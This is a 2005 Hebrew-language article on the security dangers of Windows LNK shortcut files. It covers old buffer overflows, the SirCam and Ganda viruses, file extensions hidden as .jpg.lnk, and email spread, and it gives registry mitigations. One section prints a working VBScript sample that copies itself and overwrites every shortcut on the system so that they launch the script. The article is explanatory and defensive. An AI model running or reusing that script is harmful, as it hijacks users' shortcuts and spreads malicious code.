גירסה 1.00 – 29.4.2005

קבצי LNK והסכנות שהם מציגים

ניר אדר

מסמך זה הורד מהאתר http://underwar.livedns.co.il.

Nir Adar

Email: underwar@hotmail.com

Home Page: http://underwar.livedns.co.il

אנא שלחו תיקונים והערות אל המחבר.

קבצי LNK

1. מבוא - קבצי LNK – מה מעניין בהם?

קבצי LNK הינם קבצי ה-shortcuts של Windows. במהלך העבודה במחשב נזהה קבצים אלו על ידי החץ הקטן שבצד שלהם. לדוגמא ניתן לראות את התמונה בצד.

כל אדם המתעניין מעט באבטחת המחשב שלו ימצא איזכורים רבים לקבצי LNK ברשת האינטרנט, בהם כתוב כי מומלץ לחסום קבצי LNK כאשר מקבלים דואל, מכיוון שלרוב הם יכילו וירוסים.

כאשר שמעתי על הנושא, השאלה שהתעוררה לי בראש היא – למה בעצם קבצים אלו מסוכנים? אלו אינם קבצי הרצה – אז קשה היה לי להבין בעצם מה הוא האיום שהם מציגים לגולש.

התחלתי לחקור את הנושא, והסתבר לי שהתשובה איננה טריוויאלית כלל וכלל. בעוד שמספר עצום של אתרים יכולים להדריך את הקורא כי קבצי ה-LNK הם קבצים "מסוכנים", מספר האתרים המסביר מה היא הסכנה מהם הוא קטן בהרבה. תשובות שונות נמצאו במהרה, אולם לקח זמן עד שעניתי על השאלה לשביעות רצוני. התוצאות – במסמך זה.

במסמך זה אציג את תוצאות המחקר שלי, ואת הסכנות שהצלחתי למצוא שהיו וישנם הנגרמים על ידי קבצי LNK.

ברצוני להודות ל-cp77fk4r שעזר לי רבות במחקר של הנושא ובהעלאת רעיונות שונים.

2. תקציר

קבצי LNK הינם קבצי ה-shortcuts של Windows. קיימים נושאים רבים הקשורים לבעיות האבטחה שנגרמו ונגרמות עקב קבצים אלו, ומסמך זה יעסוק בחלקן.
בעיות האבטחה הרציניות ביותר שנגרמו עקב קבצים אלו היו קיימות במערכות ההפעלה Windows 98 ו-Windows 2000, ועבור הדפדפנים Internet Explorer 4, 5, אולם גם היום קיימות בעיות שונות הקשורים אליהם.

הבעיות בעבר נבעו בעיקר מן העובדות הבאות:

1. בראשית דרכן, תוכנות אנטי-וירוס לא בדקו קבצי LNK עבור וירוסים.
2. Windows 98, Windows 2000 אפשרו להריץ קבצי EXE ששינו את הסיומת שלהם להיות LNK. בשילוב הנקודה הראשונה שציינתי, הדבר איפשר לוירוסים לחמוק מסריקות האנטי-וירוסים על ידי שינוי הסיומת שלהם ל-LNK.
3. Windows אינו מציג את סיומת הקבצים עבור קבצי LNK, גם אם המשתמש הגדיר שברצונו לראות את הסיומת של כל הקבצים במערכת. לפיכך, וירוסים בעלי שמות כגון myfile.jpg.lnk יראו למשתמש כ-myfile.jpg – לכאורה קובץ תמונה תמים שניתן לפתיחה בביטחה.
4. הגרסאות הראשונות של Windows הכילו באגים שונים במימוש הטיפול בקבצי LNK, שנתנו לתוקפים שליטה מסויימת על המערכת.

במסמך זה נציג בהרחבה נקודות אלו ואת הפתרונות הקיימים להן היום.

3. היסטוריה – סכנות שהוצגו על ידי קבצי LNK

3.1. Buffer Overflow

בראשית דרכם, המימוש של מערכות Windows 98, 98SE, NT, 2000 של ניתוח קבצי LNK סבל מ-buffer overflow שאיפשר לגרום ל-Windows לקרוס, ואף להריץ קוד. הבעיה פורסמה בשנת 2002 ומיקרוסופט שחררו עדכון שטיפל בתקלה.
ההתקפה היתה מסוכנת במיוחד. כל מה שהקורבן היה צריך לעשות כדי להיות מותקף זה לסייר בספריה שבה קיים קובץ LNK נגוע.
הבעיה היתה buffer overflow ב-Windows API בשם "SHGetPathFromIDList".
API זה משמש להמרת קבוע המייצג את אחת הספריות המיוחדות ב-Windows למחרוזת המתאימה ל-path שלה.

3.2. אנטי-וירוסים לא בדקו קבצי LNK, קבצי EXE בתוך קובץ LNK

בעבר קבצי LNK וקבצי PIF לא נחשבו מסוכנים. עד שהוירוס SirCam (2001) עשה שימוש בקבצי LNK ו-PIF, אנטי וירוסים לא בדקו קבצים מסוג זה. הוירוס SirCam הצליח להתפשט ביעילות רבה כל כך עקב העובדה שהוא כן השתמש בקבצים אלו והדביק אותם, וכך הוא הצליח להתחמק מהאנטי וירוסים השונים.

SirCam מדגים את האיום העיקרי המוצג על ידי קבצי LNK, אותו נציג במסמך זה. הוא זה שבעצם גרם לכל המהומה מסביב לקבצים אלו. כאשר לוקחים קובץ EXE ומשנים לו את הסיומת ל-LNK, המערכות Windows 98 ו-Windows 2000 יזהו שזהו קובץ EXE יריצו את הקובץ במידה ולוחצים עליו Double Click. תוך כדי ניצול עובדה זו, הוירוס SirCam הפיץ עת עצמו כקובץ LNK, דילג על ההגנות אותם מציגים האנטי-וירוסים על ידי השימוש בסיומת זו והתפשט ממחשב למחשב.

שתי עובדות אלו היוו את הסיבה לכך שקבצי LNK הוכנסו לרשימת הקבצים המסוכנים, ולרוב האזהרות כנגד קבצים אלו. בימים אלו, כאשר רוב האנשים עברו למערכת ההפעלה Windows XP ומשתמשים באנטי וירוסים מעודכנים ניתן להגיד כי ההגדרה של קבצי ה-LNK כמסוכנים נשארה בעיקר כדי "לסתום פירצה". כיום עם ההגנות המתאימות קבצים אלו אינם יכולים להזיק כמו פעם בדרך זו.

3.3. וירוסים משתמשים ב-LNK כדי לאתר קבצי EXE להדביק (Ganda)

וירוסים שונים עשו ועושים שימוש בקבצי LNK כדי לאתר קבצים להדביק. הוירוס Ganda (מרץ 2003), למשל, חיפש קבצי LNK ב-Desktop וב-Start Menu כדי למצוא קבצי EXE להדביק. בטכניקה זו נעזרים וירוסים רבים עד היום.

3.4. באגים נוספים במימוש של הטיפול בקבצי LNK

באג נוסף היה קיים ב-Windows 98/2000 הנוגע לקבצי LNK.
קבצי LNK הינם קבצים המקשרים אל קבצים אחרים

כעת, נניח שיש בידינו שני קבצים: a.lnk ו-b.lnk, כאשר a.lnk מקשר אל b.lnk ו-b.lnk מקשר אל a.lnk. במקרה כזה – כאשר המשתמש מסייר באותה ספרייה, Windows קורס, ולעתים אף המחשב נתקע.
יש לציין כי Windows לא אפשרו יצירת קבצים המקשרים כך אחד אל השני, אולם באמצעות עורך Hex ניתן בקלות יחסית לייצר קבצים כאלו.

וירוסים השתמשו בבאג זה על מנת למנוע מהמשתמש / מתוכנות אנטי וירוס לסרוק את הספריות שבהן הם היו נמצאים.
רעיון נוסף שהועלה שלא ידוע לי על מימושו היה מיקום קבצים כאלו על שולחן העבודה של המשתמש. עבור משתמשים שאינם מבינים במחשבים, פעולה כזו היתה יכולה לגרום לחוסר יכולת מוחלט לעבוד עם המחשב.

הפתרון לבעיה זו: הקבצים הבעיתיים יכולים להמחק ללא בעיה על ידי שימוש ב- Command Prompt.

במערכת ההפעלה Windows XP בעיה זו אינה קיימת יותר.

4. סכנות המופיעות עקב אופיים של קבצי LNK

4.1. הסתרת סיומת קבצים

Windows, כברירת מחדל, מסתירה את סיומות הקבצים עבור קבצים מוכרים.
ניתן לאמר ל-Windows להציג תמיד את הסיומת. נעשה זאת דרך חלון Windows Explorer בתפריט Tools ← Folder Options ← View הורדת הסימון מ-" Hide extensions for known file types".

נשים לב שגם אחרי שנבצע פעולה זו, Windows מסתירה את הסיומות של lnk ,pif ,shs ומספר סיומות נוספות.

ניתן לנצל עובדה זאת על ידי יצירת קובץ LNK בשם, למשל, mypicture.jpg.lnk. קובץ זה ייראה למשתמש בשם mypicture.jpg – לכאורה קובץ תמונה לא מזיק. אולם, לחיצה עליו תוכל להפעיל קובץ EXE או URL. ב-Windows 98, 2000, ניתן, כאמור, גם לשים קובץ EXE עם שינוי השם, והוא עדיין יורץ.
מספר וירוסים ניצלו עובדה זו לצורך פיתוי המשתמש להפעיל קובץ הבטוח שמולו קובץ לגיטימי.

פתרון לבעיה: עריכת registry:
נלך אל ה-Registry, נחפש את הביטוי NeverShowExt ונמחק את כל המופעים שלו.
לאחר שנעשה זאת, הקישורים יקבלו את הסיומת ".lnk".
הסיבה שאנשים לא עושים זאת היא שלרוב הם מחשיבים את הסיומת הנ"ל למציקה. עם זאת, אם נרצה באבטחה כדאי כן להראות סיומת זו על מנת שנהיה מודעים לסוג הקבצים אותם אנו מריצים.

(ערך רגיסטרי מעניין נוסף בנושא הוא IsShortcut, האומר ל-Windows האם להציג את סמל החץ ליד הקישור או לא.)

LNK dropping .4.2

LNK dropping זוהי דרך בה וירוסים מנצלים לעתים קבצי LNK. במקרה כזה, הוירוס ראשית שם את קובץ ההרצה שלו במקום כלשהו במערכת. למשל, C:\vbs.vbs, ולאחר מכן הוא מחליף את כל קבצי ה-LNK במערכת וגורם לכך שכאשר ילחצו עליהם, הקובץ של הוירוס יופעל.

דוגמא לקוד שמבצע את התהליך: ראשית הקוד מעתיק את עצמו ל-c:\vbs.vbs, לאחר מכן הוא יוצר קובץ LNK המצביע אליו, ואז על ידי קובץ BAT מעתיק את קובץ ה-LNK במקום כל קובץ LNK הקיים במערכת.

```
Dim shell, msc, batch, fso
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\vbs.vbs", True
set shell=wscript.createobject("wscript.shell")
set msc=shell.CreateShortCut("C:\vbs.lnk")
msc.TargetPath=shell.ExpandEnvironment("C:\vbs.vbs")
msc.WindowStyle=4
msc.Save
set batch=fso.CreateTextFile("C:\lnk.bat")
batch.WriteLine "cls"
batch.WriteLine "@echo off"
batch.WriteLine "for %%a in (*.lnk ..\*.lnk \*.lnk %path%\*.lnk
%tmp%\*.lnk
%temp%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%a"
batch.Close
shell.Run  "C:\lnk.bat"
```

לעתים גם וירוסים פשוט גורמים למערכת לקרוא להם בכל לחיצה על קבצי LNK (על ידי שינוי הגדרות המערכת לגבי התוכנה המפעילה קבצים אלו), וכך דואגים שהוירוס יופעל בכל פעם כמעט שהמשתמש מריץ תוכנית.

5. אימייל וקבצי LNK

לרוב ניתקל בקבצי LNK בהודעות אימייל המכילות וירוסים. זוהי דרך ההפצה המועדפת על וירוסים – הם מנסים להתחזות להודעת דואל לגיטימית (לדוגמא, וירוס I Love You) ולשכנע את מקבל הדואל לפתוח את הקובץ המצורף. כאשר המקבל פותח את הקובץ המחשב שלו מודבק בוירוס. הוירוס סורק את ספר הכתובות של הקורבן, ושולח את עצמו באופן דומה לכל אנשי הקשר שהוא מוצא.

קבצי LNK לעתים נדירות ביותר נשלחים בדואל, מכיוון שקובץ LNK הוא קובץ קישור מקומי, ואין משמעות להעבירו למחשב אחר.
תופעה נוספת שניתן לראות לעתים היא שקובץ ה-LNK המצורף הוא אכן קובץ קישור לגיטימי, אך הוא מצביע אל קובץ אחר המצורף בדואל שהוא הוירוס.

מכאן: אם נקבל קובץ LNK כקובץ מצורף להודעה סביר להניח שזהו וירוס ויש למחוק אותו, ולא להריץ אותו.

6. מילות סיום

הגענו לסיומו של המסמך אודות קבצי LNK והסכנות הנגרמות מהם.
יש לציין כי בנוסף לסכנות שהוצגו במסמך זה, ישנן בעיות אבטחה נוספות הקיימות עם קבצים אלו.
ניתן לציין לדוגמא את העובדה כי בעבר הדפדפן IE איפשר להוריד ולפתוח קבצים כאלו ללא להתריע בפני המשתמש, וגם כיום עדיין ישנם נושאים פתוחים עם IE וקבצי LNK.
ניסיתי להציג את הנושאים החשובים ביותר והסכנות הגדולות ביותר שהוצגו על ידי קבצים אלו. כולי תקווה שהנושא ברור יותר לקורא לאחר מסמך זה.

EOF